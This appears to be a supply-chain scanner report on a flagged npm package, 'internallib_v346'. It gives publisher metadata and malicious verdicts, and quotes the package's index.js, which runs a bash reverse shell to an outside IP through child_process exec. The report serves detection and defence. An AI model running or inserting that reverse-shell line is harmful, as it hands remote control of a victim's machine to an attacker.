// npm package

internallib_v346

npmjs.com tarball

versions

maintainers

license

ISC

first publish

2026-06-03

publisher

b4lr0g

tarball

1,614 B

AUTO-PUBLISHED·1 version indexed·latest published 2026-06-03

// exfil path

what is read → where it ships

steals

(no specific credential-read flag matched)

sends to

⚙ reverse shell(fetches + executes remote payload)

// offending code· @1.0.3· 1 file flagged

llm: malicious · 0.95

→ Static analyzer matched reverse-shell: unambiguous remote-code-execution shape in the install path.

@1.0.3·2026-06-03·AUTO-PUBLISHED·publisher: b4lr0g

heuristic 40/100

static flags 2

llm malicious (0.95) via fast-track

new-publisher:0dfirst-version-of-packagechild-process-spawnreverse-shell

→ Static analyzer matched reverse-shell: unambiguous remote-code-execution shape in the install path.

// offending code· 1 file flaggedpatterns: 2

--- package/index.js (excerpt) ---
const { exec } = require('child_process');

exports.command = function(){
    console.log("pwned");
    exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"');
    return "ok";
}
exports.command = function() {
  console.log("This is a message from the internal lib");
  return "Command Execute with Success";
}



--- package.json (entry) ---
{
  "name": "internallib_v346",
  "version": "1.0.3",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "internallib_v346": "^1.0.0"
  }
}


--- index.js (entry) ---
const { exec } = require('child_process');

exports.command = function(){
    console.log("pwned");
    exec('/bin/bash -c "bash -i >& /dev/tcp/10.0.56.229/443 0>&1"');
    return "ok";
}
exports.command = function() {
  console.log("This is a message from the internal lib");
  return "Command Execute with Success";
}